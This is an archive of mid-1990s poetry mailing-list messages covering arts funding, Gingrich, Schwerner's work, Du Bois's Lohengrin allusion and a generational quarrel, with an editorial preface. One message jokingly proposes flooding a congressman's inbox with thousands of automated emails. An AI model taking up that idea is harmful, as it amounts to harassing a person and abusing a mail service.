(Though I've never seen addresses with an * in them before.) Just thought this would be of interest... Has anyone tried this address?

↑ Index

222. Christopher Reiner
Re: NEA ???
Mon 19 Dec 1994

Just a note to clear up a misconception that could arise from Luigi-Bob's post. Neither AVEC nor Syntax Projects for the Arts has ever received a grant from the NEA. Every year, we apply. Every year, we're turned down. We have received grants from the California Arts Council, the Fund for Poetry, the Mellon Foundation (for 'organizational development') the Coordinating Council of Literary Magazines and Presses, and several smaller foundations. But most of the annual income comes from members of Syntax Projects for the Arts--people who contribute at least $25 a year (and often more). (Information on Syntax Projects and membership is included at the end of this post.) The reason given by the NEA is that the work in AVEC is of 'uneven' artistic merit. I'm not sure what 'even' artistic content would be...

On the record, I would like to say how much I really love the NEA and the great work they do.

SYNTAX PROJECTS FOR THE ARTS

Syntax Projects for the Arts is a non-profit 501(c)(3), member-supported organization dedicated to the promotion of literature for the public benefit. Our focus is on formally innovative writing.

AVEC MAGAZINE
Since 1989, Syntax has published _Avec_, a journal of poetry, prose and translations. _Avec_'s interest is international, and we have published writing and art from the United States, Canada, Lebanon, England, France, Germany, Eastern Europe, and Russia.

AVEC BOOKS
In 1993, Syntax started Avec Books with the publication of Peter Gizzi's _Periplum_. A second book, David Bromige's _A Cast of Tens_ was published in the spring of 1994. Last month, Avec Books published _Blue Vitriol_, the first English language collection by the Russian poet Aleksei Parshchikov, translated by Michael Palmer, John High, Michael Molnar and others, with an introduction by Marjorie Perloff.

WITZ
Members of Syntax Projects for the Arts also receive _Witz_, a journal of critical writing.

MEMBERSHIPS
Syntax has received grants from the California Arts Council, the Council of Literary Magazines and Presses, and the Andrew Mellon Foundation. But it is primarily supported by individual members.

Annual membership rates are $25 (member), $50 (supporting), $100 (sustaining), $200 (patron), $500 (angel).

Members receive two issue of Avec, three issues of Witz, and a 25% discount on Avec Books.

Avec is also available by subscription ($12 / 2 issues).

Memberships and correspondence to Syntax Projects for the Arts should be sent to:

Syntax Projects for the Arts
P.O. Box 1059
Penngrove, California 94951

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223. James Sherry
Re: Univeral Blisters/Individual Burns
Mon 19 Dec 1994

The joke about the weather forecast is that it has been made quite clear by meteorology itself that the farther away from the moment of the initial conditions the less chance the forecast has of being correct. For me the interesting issue is the separation of information from meaning that arises from such methods as forecasting. Clearly the news is faulty by virtue of the selection process and doubly so when you consider the point of view. My note about the weather being news is that its at least no more than it pretends to be, a guess. But how long would you stay in your job if you were wrong as often as the weatherman.

As we deal with more and more complexities, the more we have to settle for simultaneous answers.

On Mon, 19 Dec 1994, Tony Green wrote:

> *Hi James, How clean is a weather forecast, when it always reproduces the power structure by naming that structure's version of geographical features....?*
>
> *Tony Green,*
> *e-mail:* [redacted]
> *post: Dept of Art History,*
> *University of Auckland,*
> *Private Bag 92019,*
> *Auckland, New Zealand*
> *Fax: 64 9-*[redacted]
> *Telephone: 64 9* [redacted] *ext. 8981 or 7276*

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224. James Sherry
Re: AMERICA: A PRAYER
Mon 19 Dec 1994

An interesting political gesture would be to automate the sending of the message "Foetus" to Newt's e-mail address, so that he would receive thousands of messages a day. Then see if he wants to save the message.

On Mon, 19 Dec 1994, Loss Glazier wrote:

> *Interestingly, reading while for an appointment, Newt Gingrich is listed in _People Weekly_ (an indication of celebrity status!) where his e-mail address is listed as*

> *ga06*@hr.house.gov*
>
> *(Though I've never seen addresses with an * in them before.) Just thought this would be of interest... Has anyone tried this address?*

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225. Steven Howard Shoemaker
Re: AMERICA: A PRAYER
Mon 19 Dec 1994

For all "bomb-throwers": latest issue of Wired lists Newt's address as [redacted]

steve shoemaker

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226. Patrick Phillips
Segue URL
Tue 20 Dec 1994

Loss,

Did you change the EPC directory at all in the last month.

The Hotlist item for the Segue URL that worked previously was:

gopher://writing.upenn.edu/hh/internet/library/e-journals/ub/rift/journals/list/Segue/Segue_Newsletter

and now it appears the last two or three branches have been changed. Is this me!!??:

gopher://writing.upenn.edu/hh/internet/library/e-journals/ub/rift/journals/selected/Segue

Pat Phillips

[redacted]

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227. Loss Glazier
Re: Segue URL
Tue 20 Dec 1994

Pat,

There has been some switching over of the system (as we've discussed) and are now just sorting out the few snags that remain.

Does this change cause a difficulty for you?

It is easy enough if you'd prefer to reset it to how it was before. There was only some confusion as to other menus.

Let me know; I can get in there and change within 24 hours (or immediately) if this is your strong preference.

I await word from you.

Sending you best wishes,

Loss

> *Did you change the EPC directory at all in the last month.*
>
> *The Hotlist item for the Segue URL that worked previously was:*
>
> *gopher://writing.upenn.edu/hh/internet/library/e-journals/ub/rift/journals/list/Segue/Segue_Newsletter*
>
> *and now it appears the last two or three branches have been changed. Is this me!!??:*
>
> *gopher://writing.upenn.edu/hh/internet/library/e-journals/ub/rift/journals/selected/Segue*
>
> *Pat Phillips*
>
> [redacted]

↑ Index

228. Patrick Phillips
Second post of the Segue URL messagye
Tue 20 Dec 1994

I thought that since I shared my previous post will all of you, you may as well know its meaning.

The Segue Newsletter, as you know has been posted for some time on the Electronic Poetry Center at Buffalo - a fine service to us all I may add. Up until a certain point I was able to access this Hypertext newsletter via an address on the EPC computer. This address or Uniform Resource Locator (URL) was :

gopher://writing.upenn.edu/hh/internet/library/e-journals/ub/rift/journals/list/Segue/Segue_Newsletter

The current and correct one is:

gopher://writing.upenn.edu/hh/internet/library/e-journals/ub/rift/journals/selected/Segue/Segue_Newsletter

What this means is that anyone who wishes to reach the Segue online Newsletter may do so by imputting this string address (or URL) either via gopher or by using a WWW browser such as Mosaic.

I apologize for any confusion that I may have caused anyone.

Patrick Phillips

Pat Phillips

[redacted]

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229. **w.curnow**
Re: AMERICA: A PRAYER
Tue 20 Dec 1994

Hey Loss,
Who's this Newt Gingrich e'rybodies talkin' bout?
Wystan

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230. **Mark Roberts**
Re: AMERICA: A PRAYER
Tue 20 Dec 1994

> *Hey Loss,*
> *Who's this Newt Gingrich e'rybodies talkin' bout?*
> *Wystan*

I don't think his fame has crossed the Pacific.

Mark Roberts
SIS Liaison Officer
Student Information & Systems Office Ph 02 [redacted]
University of NSW Sydney Australia Fax 02 [redacted]

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231. **Ron Silliman**
Who's Newt?
Tue 20 Dec 1994

> *Who's this Newt Gingrich e'rybodies talkin' bout?*
> *Wystan*

> *I don't think his fame has crossed the Pacific.*

To our foreign friends,

Newt Gingrich is the next Speaker of the House, the first Republican (capital R) to hold the post in 40 years.A onetime college professor (history I think), he represents Cobb County, Georgia, the northern suburbs of Atlanta. Atlanta's one of the few truly cosmopolitan cities in the South (New Orleans and Houston are the others) and has had African American political leadership for some 15 or so years. Cobb County is where the "white flight" there flew and Newt is its political expression.

He made his rep in Congress as a brash anti-liberal practitioner of guerrilla electoral politics. The "bomb thrower" reference speaks to his general style (the American cartoon Doonesbury depicts him as a bomb, actually the "system bomb" icon from the Macintosh GUI). He recently declared that one "senior law enforcement official" told him that one fourth of the Clinton administation's senior officials had drug problems. That sort of thing.

Prior to the most recent general election, Newt announced a Republican "Contract with America," a series of items they hope to get through Congress in the first 100 days of 1995. Mostly a rehash of Reagan-era ideas (prayer in the schools, a balanced budget amendment, term limits for congress, more money for the military).

Many people here expect Newt to actively seek to end the funding for the NEA and the NEH. My guess is that he has the votes to do it. Or at least to turn the $ $ back to the states, a good number of which would then kill it at that level.

But Newt is a bit of a wirehead, a personal pal of Alvin Toffler's. He's promised to get all of Congress up on email and the internet. Sort of the right wing's answer to Al Gore. (What is the left wing answer to Al Gore?)

↑ Index

232. Name witheld at the request of the owner

How to unsub or sub to Poetics

Tue 20 Dec 1994

The following announcement is sent in the interests of increasing automation of this list and is sent for the benefit of those who did not save the subscription announcement automatically sent you when you initially subscribed to Poetics despite the fact that this announcemnet encouraged you to save it as you would have need for it at a later time or then again this announcment is for those of you who did not understand all the details in the message automaticaly sent to you by the listserve program.

"I" would like to apologise for the paragraph above.

by sending the standard message direct to

[redacted]

The standard form for this is a one-line message with no subject line (personally I don't think it matters what you put in the subject line since the point seems to be that the machine doesn't read the subject line, but, as usual, I could be wrong):

[or]

[where Jane Jabberwocky or John Jaded are your own name]

"I" am automatically notified by the listserve of any subscription activity (just as "I" get copies of all bounced posts).

If you want to have someone else join the list, the easiest thing is to have them subscribe themselves *and* send a message to me saying who mentioned the list to them. I will then send back, manually, the "welcome" message that includes information on EPC, R/IFT, and the archives. (If you ever want a copy of this message, just let me know.)

TEN FOUR

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233. Mark Roberts

AWOL: Coppertales: A Journal of Rural Arts

Tue 20 Dec 1994

****

AUSTRALIAN WRITING ONLINE is a small press distribution service which we hope will help Australian magazines, journals and publishers to reach a much wider audience through the internet. As a first step we will be posting information and subscription details for a number of magazines and publishers to a number of discussion groups and lists. We hope to build up a large emailing list which includes as many libraries as possible. If you know of a list or discussion group which you think might be worthwhile posting to please email,or if you would like to receive future postings please contact AWOL directly on [redacted].

Please note that [redacted] is a temporary address until we set
up our own address sometime next year
****

Coppertales: A Journal of Rural Arts

'Coppertales' is a journal of 180 pages edited by Brian Musgrove and Chris Lee and currently published in the form of an annual anthology by the Faculty of Arts at the University of Southern Queensland and the University of Southern Queensland Press. In 1995 it has been supported by the Queensland Government through the Minister for the Arts.

'Coppertales' publishes poetry, short fiction, articles, art work, reviews and interviews which feature the rural experience. Its aim is to provide a space for the representation and promotion of Queensland and Australian rural culture. Too often rural Australia is misrepresented as a simple and outdated cliche by interests confined to the metropolitan center. This journal establishes a forum for the diversity of interests and opinion which are characteristic of this country's regional cultures.

'Coppertales' is not exclusively committed to regional items. It recognises that rural people are just as interested in the ideas and values of metropolitan and international cultures as they in those of their own localities. 'Coppertales' will publish metropolitan work of quality which may be of interest to a rural audience.

The inaugural issue of the journal features poetry from Bruce Dawe, Coral Hull, Megan Redfern, and Mark Mahemoff, short fiction from Ness Shannon, Ian Crowther and H. Hayes, a travel essay from Pat Buckridge, and an interview with Thomas Keneally.

Contributors receive a complimentary copy of the journal and all contributions are refereed through an editorial advisory board. Subscriptions are Aust$12 (Aust$20 for institutions) overseas subscriptions $Aus20 per annum and are available from the Department of Humanities, Faculty of Arts, University of Southern Queensland, Toowoomba 4350. Cheque, Money Order, Bankcard, Visacard and Mastercard are all accepted.

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Please send this form, with your payment to: Coppertales, Department of Humanities, Faculty of Arts, University of Southern Queensland, Toowoomba 4350

Coppertales is supported by the Queensland Government through the Minister for the Arts.

Mark Roberts
SIS Liaison Officer
Student Information & Systems Office Ph 02 [redacted]
University of NSW Sydney Australia Fax 02 [redacted]

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234. Ron Silliman
Great Poet
Wed 21 Dec 1994

The new issue of Conjunctions (#23: "New World Writing") arrived yesterday, a total translation issue, and in it is a poet whose work simply takes my breath away: ARAKI YASUSADA. According to Brad Morrow's intro to the issue, it's Yasusada's first publication in English translation.

Here's one poem (picked for its brevity):

TELESCOPE WITH URN

The image of the galaxies spreads out like a cloud of sperm.

Expanding said the observatory guide, and at such and such velocity.

It is like the idea of the flowers, opening within the idea of the flowers.

I like to think of that, said the monk, arranging them with his papery fingers.

Tiny were you, and squatted over a sky-colored bowl to make water.

What a big girl! cried we, tossing you in the general direction of the stars.

Intently, then, in the dream, I folded up the great telescope on Mount Horai.

In the form of this crane, it is small enough for the urn.

(translated by Tosa Motokiyu, Ojiu Norinaga and Okura Kyojin)

Yasusada (1907-72) was a Hiroshima postal clerk most of his life and, while active in Japanese avant-garde circles, basically remained unknown. His wife and eldest daughter died instantly in the atomic bomb blast in 1945. A second daughter died of radiation sickness three years later. His manuscripts were brought to light when they were discovered by his surviving son (who was out

of town with relatives that fateful day in '45). Apparently his major influences were Roland Barthes and Jack Spicer (!) and the selection in CONJUNCTIONS includes "Sentences for Jack Spicer Renga" (collaboratively written with Akutagawa Fusei). At the time of his death he was at work on a series of letters and translations to have been called After Spicer.

There's an elevation of tone in these poems that reminds me more of Michael Palmer than Spicer, perhaps because the translators are all Hiroshima poets (one of whom seems to spend half of each year in Sebastapol, although I don't know if he's known to Bromige or to Cydney Chadwick). These works kept me up last night and probably will again for another night or three. I recommend them highly.

Also in the issue are works by Bei Dao, Nina Iskrenko, Eduardo Galeano, Anne-Marie Albiach (collab. w/ Charles Bernstein!), Pascale Monnier (trans. by Ashbery) and much more. You can get a copy by sending $10 US to Conjunctions, Bard College, Anondale-on-Hudson, NY 12504.

Ron

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235. John Cayley
Re: Experiments
Wed 21 Dec 1994

Tony Green wrote:

> You sound, you know, like one who has not yet discovered the
>pleasures of reading Cage or Mac Low. As if to say, this is for the
>FUTURE.
>
I have taken my literary pleasure of both authors although I've never heard them
in performance. I've already acknowledged the fact that the principles and practices of aleatory and algorithmic works are not new.

Anyway enough parrying _ad hominems_ (too many of these in listserv discussions don't you think?). The point is that the general availablility of tools -- hardware and software -- to appreciate this work fully, and so to develop it in a way that involves the responses of active readers, is only just with us. What _is_ new?

- A new kind of _literary_ experience. The experience of such work has typically been either in performance (there's a lot to that I know), or in the reading of a single edited and/or printed 'snapshot' of text resulting from the application of a process. Such work, when presented as a program-plus-display allows a new

kind of literary (usually lone, silent reading) experience of a generated text, _as it is generated_.

- The reader is in more in control and is a part of the process. The reader can set the process running again, interrupt it, investigate its workings. With more developed works, the reader 'holds, throws and loads the dice' -- is able to change the weightings of aleatory factors, choose processes to be applied to a text, modify processes, 'teach' the work about new text or responses to texts, finally even perhaps spawn a so-called 'genetic' evolution of processes (as in 'genetic programming').

- The notion of composition is extend to include the composition of the processes and, I would argue, the programs that underlie them in machine-based work.

In the UK, I am not aware of anyone developing what I've recently begun to call 'machine modulated poetries' (MaMoPo? :-)

Those programs and works which I have so far discovered from US sources are either ungrounded -- willfully or otherwise -- in innovative contemporary writing or are more concerned with the presentation of poetic language using the techniques of non-literary media. (This is one reason why I've stressed the _literary_ nature of experience -- we shouldn't abandon our particular muse simply because our word processors have learned to paint and sing.)

I would be anxious to be put in touch with anyone else who is working in this way.

John Cayley Wellsweep Press [in Chinese HZ:]
Tel & Fax: 0[redacted] Email: [redacted]

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236. Robert Drake
Re: Experiments
Wed 21 Dec 1994

John Cayley writes:

> *In the UK, I am not aware of anyone developing what I've recently begun to call 'machine modulated poetries' (MaMoPo? :-)*
>
> *Those programs and works which I have so far discovered from US sources are either ungrounded -- willfully or otherwise -- in innovative contemporary writing or are more concerned with the presentation of poetic language using th techniques of non-literary media. (This is one reason why I've stressed the*

> *_literary_ nature of experience -- we shouldn't abandon our particular muse simply because our word processors have learned to paint and sing.)*
>
> *I would be anxious to be put in touch with anyone else who is working in this way.*

i have been reading around in several hypertexts distributed by Eastgate Systems (134 Main St., Watertown MA, 02172, USA), in both StorySpace (their cross-platorm hypertext environment) and HyperCard. the "quality" is varied--or praps i'll say "some of these has been of more use to me than others"-- or praps i'll try to recast the "experimental" arguement: i'd rather call these hypertexts "experimental apparatuses" which i, as "reader", use to conduct "experiments". some of these experimental setups enable me to produce "useful reading experiences"--& sometimes, those that i fail to "successfuly" utilize provide insight into why they have "failed", and thus how another setup might "succeed".

at anyrate... Mary-Kim Arnold's "Lust", and Jane Yellowlees Douglas' "I hHave Said Nothing" (both from Eastgate Quarterly review of Hypertext, vol. 1 #2), have given me some useful reading experi- ences. i'm looking forward to seeing how folks might put the WWW environment to simlar use...

& yeah praps someone will try to apply my recasting of this "arguement" to non-hypertextual poetry, and either find it useful or no... i'd be interested to hear of the results of such an test...

asever

luigi
TRR/Burning Press

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237. bmch
Armand Schwerner
Fri 23 Dec 1994

I've been eavesdropping on this list for the better part of a year now, much to my edification, without having up until now felt the need to join in on the ongoing discourse(s). Or maybe not having felt it proper to do so? since I don't write poetry myself, only write about it (& if the truth be known, don't so much write about it as aspire to do so). Whatever, I've been quite satisfied to read along passively, treating the list as a superior kind of daily news-feed. But now I need some specific information, & I'm hoping you-all out there might be able to help me out. I've wanted for some time to write something about Armand Schwerner's "The Tablets," & it seems as though this winter I might manage to get to it, but I'm amazed to find that (as far I can make out) essentially nothing

has been written about that poem and/or Schwerner. Amazed, because I find "The Tablets" really attractive & unprecedented -- a FUNNY long-poem; funnier (because more serious?) than, say, Koch? something like David Jones with a (Jewish?) sense of humor? Or have I missed some essential publication on Schwerner? Has one of you out there written something about Schwerner and/or "The Tablets" that I've overlooked? Do you know of something worth reading about him/it? I wouldn't mind blazing the trail on this, but I'd sure like to know if anyone's been there ahead of me. I've Rounded Up all the Usual Suspects, e.g., Perloff, but they seem not to have looked Schwerner's way even once. I just learned that Sherman Paul once published some kind of pamphlet on Schwerner which I'll have to track down. But is there anything else I should be looking for?

Brian McHale
WVU

↑ Index

238. Tenney Nathanson
Re: Armand Schwerner
Fri 23 Dec 1994

Brian-- I can't answer your query, though I feel like I've heard something just in the last year about someone writing on "The Tablets"--maybe (?) in a job application letter for the opening here at Arizona? I'd be surprised if there wasn't an issue, or 1/2 issue, on Schwerner in VORT back in the late sixties or the seventies. Anyway Jerry Rothenberg would probably know (is he on this list?) or Toby Olson at Temple, or George Economou at Oklahoma. Also there may be some short stuff on the early Tablets back in Caterpillar. good luck, I'll be curious what you find and also about what you make of that strange piece of work. Tenney

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239. Alan Sondheim
Re: Armand Schwerner
Fri 23 Dec 1994

Why don't you get in touch with Armand himself? He teaches at the CUNY Staten Island Branch.

Alan

Also, please, if anyone knows anything about Bernadette Mayer's condition, please post here.

Thank you.

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240. Jerry Rothenberg
schwerner
Sat 24 Dec 1994

For: Brian McHale in particular.

It's curious to see the work of Schwerner come up as so much of a mystery. He is now & has been for many years one of the very singular & original contributors to the opening & freeing up of poetry. Some good writing about his work -- with the TABLETS as central focus -- has certainly appeared (the Sherman Paul piece and a recent one by Ed Sanders are two that I can quickly think of) but, as with too many others, hardly commen- surate with what he's given us. The omission of Schwener & the monumental (and -- you're right -- deeply comic) TABLETS from all three recent anthologies of OUR poetry is bewildering & -- to my mind at least -- dampens some of the real pleasure they have given me. (Pierre Joris and I will try to compensate for that in the big global book we're still compiling [second volume the post-World War II] but there are limits even so ...)

If you want to be in touch with Schwerner -- who I would guess keeps track of all these things -- his address is 20 Bay St. Landing, Apt. B3C, Staten Island, NY 10301, tel. [redacted], fax [redacted]. I know he'll be happy to hear from you.

With greetings for the year ahead

JEROME ROTHENBERG

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241. kathryne lindberg
Re: schwerner
Sun 25 Dec 1994

I realize that this is an abrupt change of pace, but. . . In order to finish a paper on Du Bois and Marx, I need to track down what appears a very odd and fractured allusion in Du Bois. I believe that he is rewriting the "Song of the Bride," as he calls it from Lohengrin, Act III, Scene I, when he has the black John in "The Coming of John," in *Souls* sing "Freudig gefuhrt, ziehet dahin." Sorry I can't do umlauts, and I guess I should somehow apologize for the preciousness of this query. Still, lacking a libretto and out here in Detroit (not your big opera town) on Christmas day, what better source than the poetry net? I tried my Oxford and Harvard Opera Guides, but I think a recording or libretto would answer this real quick. I will eat my recording of *Rienzi* if it ain't from

Lohengrin. Thanks for what help or sympathy you might render.
Cheers!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

↑ Index

242. Carla Billitteri

dubois

Sun 25 Dec 1994

Not sure just what the question is, but yes, the German phrase in Chapter 13 of _Souls of Black Folk_ comes from _Lohengrin_, which is pretty clear in context since this is the opera John attends in New York, where he has his improbable meeting with the other John from back home ("white John," son of the judge). When he hears the opera in New York, as Du Bois tells us, "black John" rises "out of the dirt and dust of that low life that held him prisoned and befouled." Soon after, however, the usher asks him to leave his seat; he catches sight of the other John and his life is changed forever. He leaves New York immediately and returns to the small Southern town he'd previously avoided returning to. Here, in a truly Poe-esque manner, Du Bois dramatizes his own concept of "double conciouscness." Indeed, the description of the opera's effect on John recalls (with certain critical differences) Du Bois's own recollection in Chapter I of the freedom he sought from racism while growing up: "Then it dawned upon me with a certain suddenness that I was different from the others; or like, mayhap, in heart and life and longing, but shut out from their world by a vast veil.... I held all beyond it in common contempt, and lived above it in a region of blue sky and great wandering shadows. That sky was bluest when I could beat my mates at examination-time, of beat them at a foot-race, or even beat their stringy heads."

Anyway, back to _Lohengrin_: At chapter's end, when John is lynched, he escapes in his mind back North, "humming `Song of the Bride'." The German Du Bois gives, "Freudig gefuehrt, ziehet dahin," means literally "Joyfully led, draw thither." I believe the verb tense for "ziehet dahin" indicates an address to the plural form of thou--something Du Bois would have known (he spent a year in Germany, where he heard Max Weber lecture). The note in the back of my edition of _Souls_ says Du Bois substituted "freudig" (joyfully) for "treulich" (faithfully), but I'm not sure of the significance. More than likely he was quoting from memory. The complexity of Du Bois's address in _Souls_ is such that one wants to think about just who this plural you is to whom John hums as the judge and his lynching party approach.

In any case, very curious how Du Bois's "fractured reference" (as you say) to Wagner relates to Du Bois's Marxism. Perhaps you could share some of your thoughts on this.

↑ Index

243. kathryne lindberg
Re: dubois
Sun 25 Dec 1994

Yes, Du Bois actually spent two years+, long enough to do all the work for his doctorate in sociology. I know that the passage is from Lohengrin, but I couldn't find the passage as such in Lohengrin, and the substitution means something more stunning than bad memory, I'd bet. I am still jamming on this paper, so I can't explain the Marx reference. It'd be the paper, I guess. But I can say that I am about unwinding some of the stunning moments of bubblings up of German philosophy and music in Du Bois's text. His use or abuse of Lohengrin was actually just a footnote or epigraph to his treatment of two letters Karl Marx wrote, one to Abraham Lincoln the other to Andrew Johnson. This is sketchy, I know, but what I wanted in order to pencil in one part of the picture was the exact passage from Lohengrin and why/how he had fractured, as I put it, the "Bride's Song," or "Song of the Bride," as Du Bois thought he had fused the Bridal Chorus and the scene right after the death of Telramund. I am not sure that it matters a whole lot, and this might just be the way I have of warming up to a more straightforward approach to Du Bois's fascinating strategies of historical and genealogical revisionism. He makes Marx the pupil of Frederick Douglass; he manages to lynch (at least in a sort of far fetched way) his German education and his ambivalence to German culture by putting that weird or at least inappropriate and dramatically implausible song in John's throat. These moments, rich in all sorts of ways, fascinate me. I know the DuBois text well; and when I go back to some of his sources, I getthe uncanny sense that he was just as weird a quoter as, say, Pound. Sorry for the length of this message. I'm sure that not everyone gets pulled into or laughs as hard as I do at this sort of stuff. FIN. But I'd still like the first couple of lines--in German--of the aforementioned Wagner tunes. Happy, etc.

↑ Index

244. Carla Billitteri
Re: dubois
Mon 26 Dec 1994

Sounds great--tell us more when you get further along. The opening two lines (but this is all my edition gives) are "Treulich gefuehrt, ziehet dahin / Wo euch der Segen der Liebe bewahr"--"Faithfully led, draw thither / Where over you the blessings of love keep watch." Robert Bernasconi is also working on Du Bois's response to German philosophy, by way of a reading of (I seem to recall) "The Conservation of the Races," but hasn't yet published anything.

↑ Index

245. **Charles Bernstein**
(no subject)
Mon 26 Dec 1994

Date: Fri, 23 Dec 1994 21:53:23 EST
From: Ben Friedlander <[redacted]>
Subject: announcement for p-list
To: [redacted]

below is the book announcement. slowly slowly slowly catching up with such projects, will finally be ready to do some reading soon. soon.

---

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--Derrida, "Che cos'e la poesia?" ("What Is Poetry?")

"`Are _herisson_--_herissons_ messengers like eagles?' `Like what, Rose-of-the-Alps?' `Are _herissons_, I mean, mixed up like eagles with stories out of Greek books?' Now Doctor Berne Blum was an odd sort of person. Most people laughed when you asked them questions . . . or said, `Little girls shouldn't ask such things' . . . or pretended not to have heard, and talked about something else or just went out and whispered (rather loudly) behind closed doors, `Now what does one tell a child about such matters?' Doctor Berne Blum wasn't like any of these people. He said: `Little Rose-of-the-Alps, that is a most important question.'"

--H.D., _The Hedgehog_

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246. Tony Green
Re: Who's Newt?
Tue 27 Dec 1994

Thanks Wystan for asking and to Ron Silliman for answering so interestingly who is Newt.

Saeson's Greetings to all the List.

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

247. **Ron Silliman**
Re: Who's Newt?
Tue 27 Dec 1994

Actually, Tony, I thought of a better, shorter response to the question of who's Newt shortly after my original post:

Our Zhirnovsky

Do they celebrate Kwanzaa in New Zealand?

Ron

↑ Index

248. **krickjh**
Re: Armand Schwerner
Thu 29 Dec 1994

Schwerner collaborated with someone (?) on something called "The Domesday Book" in the early sixties. It was a lexicon of nuclear weaponry - perhaps one of the earliest attempts to wring some humor from the arms race. It's quite an interesting - and still hilarious - work. I have a copy at home, and will send additional details tomorrow.

John Krick

↑ Index

249. **krickjh**
Re[2]: Armand Schwerner
Fri 30 Dec 1994

I dug out my copy of the Schwerner "Domesday Dictionary" last night and found when I called it "hilarious" I gravely misspoke, unless your idea of hilarity runs toward the gallows. In fact the book is horrifying. Not having picked it up in several years, I remembered it being a great deal more comic than it is. It IS, certainly, funny, but not the sort of funny that you can easily laugh at. It is nonetheless an incredibly powerful book. I'd like to know more about the history of this book - both its making and its reception.

In any case, the details are:

The Domesday Dictionary, Being An Inventory of the Artifacts and Conceits of a New Civilization

By Donald M. Kaplan and Armand Schwerner,
Edited by Louise J. Kaplan
Simon and Schuster, 1963

↑ Index

250. Ron Silliman
Domesday Dictionary
Sat 31 Dec 1994

>The Domesday Dictionary, Being An Inventory of the Artifacts
>and Conceits of a New Civilization
>By Donald M. Kaplan and Armand Schwerner,
>Edited by Louise J. Kaplan
>Simon and Schuster, 1963
>
I remember seeing The Domesday Dictionary @ Cody's throughout the middle 1960s and never associated it with the poet I later came to know through the Tablets until Michael Andre used copious excerpts in The Poets' Encyclopedia (Unmuzzled Ox Vol IV No V/Vol V, 1979)--some 26 entries.

During the 60s and even AFTER the Encyclopedia, my imagination always rewrote that book's title to The Doomsday Dictionary. It wasn't until your post sent me back to the Encyclopedia that I realized my error.

Here's my question: Why ISN'T it called the Doomsday Dictionary?

↑ Index

251. Rodger Kamenetz
Re: Domesday Dictionary
Sat 31 Dec 1994

Ron Silliman asks about the provenance of teh Domesday book. It was a record of a survey completed for William the Conqueror in 1086. Nothing to do with doomsday as far as I can tell. But like Schwerner's work, I gather, an "inventory of the artifacts" of a civilization.

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@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

January 1995

225 messages · Sun 1 Jan 1995 – Tue 31 Jan 1995

The new Congress convenes on the fourth, the endowments are placed formally on the block, and on the seventeenth the earth opens beneath Kobe and takes six thousand souls before breakfast. The list keeps its own calendar. It has spent the whole winter building toward a single confrontation, and January is the month the confrontation at last arrives — not with the government, but with itself, over a slender magazine and the manifesto folded inside it.

The magazine is Apex of the M, and its editors have made the tactical error of printing their program where the elders can read it. Marjorie Perloff, who admires the poems well enough, confesses herself *"dismayed by the manifesto"* — a document proposing, in effect, that the Language poets now vacate the summit they spent two decades climbing. So the season declares its grand theme: succession, and the peculiar rudeness of asking one's own predecessors to please hurry up and finish.

The sparring is a pleasure to transcribe. Chris Stroffolino needles Tom Mandel over the very notion of a poet in mid-career, pronouncing the category *"delicious really"*; Mandel, defining it flatly as a poet in the middle of a long publishing life and daring anyone to object, tells the list to *"gimme a break."* Beneath the wit sits a genuine quarrel about who holds the authority to pronounce a generation finished, and whether pronouncing it makes it so.

Amid the skirmishing comes a quieter announcement, which posterity will judge the more consequential. Loss Glazier unveils the Electronic Poetry Center's new features — a poetry archive reachable by gopher and, for the daring few with Mosaic, by a thing called the World-Wide Web. Tom Mandel, ever practical, wants to know why no web address is given; Glazier patiently furnishes one. Neither can quite see that he stands at the doorway through which this very list will one day walk into permanence — the reason, reader, that you hold these letters at all.

And then, on Martin Luther King Day, the argument stops. Charles Bernstein relays the word Tom Raworth has just telephoned him: Eric Mottram *"died this morning in London."* The list that has spent a month insisting the old make room for the new subsides, for a day, into something like grief; Robert Kelly proposes they honor him on May Day, and George Bowering, stunned, can manage only that he *"was reading him earlier today!"* It is the truest sentence in the archive. I

have ordered the letters, hidden the addresses, and left the mourning exactly where it fell.

— Kristen M. Fabians

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207. Catherine Yates — subscription
208. BLUOMA — Re: Re- CALL FOR A DECISIVE
209. BLUOMA — Re: Re- reified names vs. bo
210. Charles Bernstein — Re: subscription
211. Jeffrey Timmons — Re: apex of the m...
212. Jeffrey Timmons — Re: Espousing Update 1/26
213. Jeffrey Timmons — Re: reified names vs. boundless vocabulary
214. Tom Mandel — Re: reified names vs. boundless vocabulary
215. Tom Mandel — Re: CALL FOR A DECISIVE BREAK WITH THE PAST (NURTURE THE APEX)
216. eric pape — Spirits, etc.
217. Rodger Kamenetz — Re: Spirits, etc.
218. Spencer Selby — Re: Re- reified names vs. bo

219. Stephen Ratcliffe — Re: reified names vs. boundless vocabulary
220. eric pape — Re: Spirits, etc.
221. James Sherry — Re: apex of the m...
222. James Sherry — Re: apex of the m...
223. Jeffrey Timmons — Re: reified names vs. boundless vocabulary
224. Jeffrey Timmons — Re: Re- reified names vs. bo
225. Jeffrey Timmons — Re: apex of the m...

1. Marisa A Januzzi

discursive disruptions//whether poetry makes anything happen

Sun 1 Jan 1995

Greetings from a formerly silent lurker!

With the indulgence of the list, I would like to revive the question of the political content of poetic form, implicitly continuing a discussion which arose at an MLA session called "Poetry: The Visual Dimension." Alan Golding gave a helpful paper about Susan Howe's visual poetics, and during the Q&A, Marjorie Perloff asked "the big skeptical question" (I wish I could remember her exact words!), wondering about the connection between the disruption for instance of the linear form of the poem on the page and the disruption of patriarchy. And Bob Perelman accelerated the question by raising the specter of the "history of the avant-garde."

Since then I have been wondering why poetry can't be construed as having political potential in a metaphoric mode. It seems to me that metaphors (whether formal or more simply rhetorical) not only express but also potentially restage political issues (as in for instance the work of Medbh McGuckian) in educational ways. When Mina Loy chose an open form for her notorious 1915-17 "Love Songs" (THE best since Sappho, she called them) the rhetoric of form and content immediately sent critics into a delirium of invective against free women, free verse, free love... in other words critics got the point before they "got" the poems, a situation which recurs every day in the poetry classroom where students and teachers can usefully confront prejudices in the guise of aesthetic questions.

Ten years ago I wrote an ill-thought-out essay about T.S. Eliot which earned me a 'D' from Kathryne Lindberg and caused this student (from a deeply traditional and right-wing family) to attend consciously to the question for the very first time. Although it now may sound nostalgic to say so, Williams and Olson (also on the syllabus) helped me out...and so did Kathryne, with a magnum of patience...

Language: the parent, not the child of thought? (Wilde)

With gratitude for all of you poetic teachers,
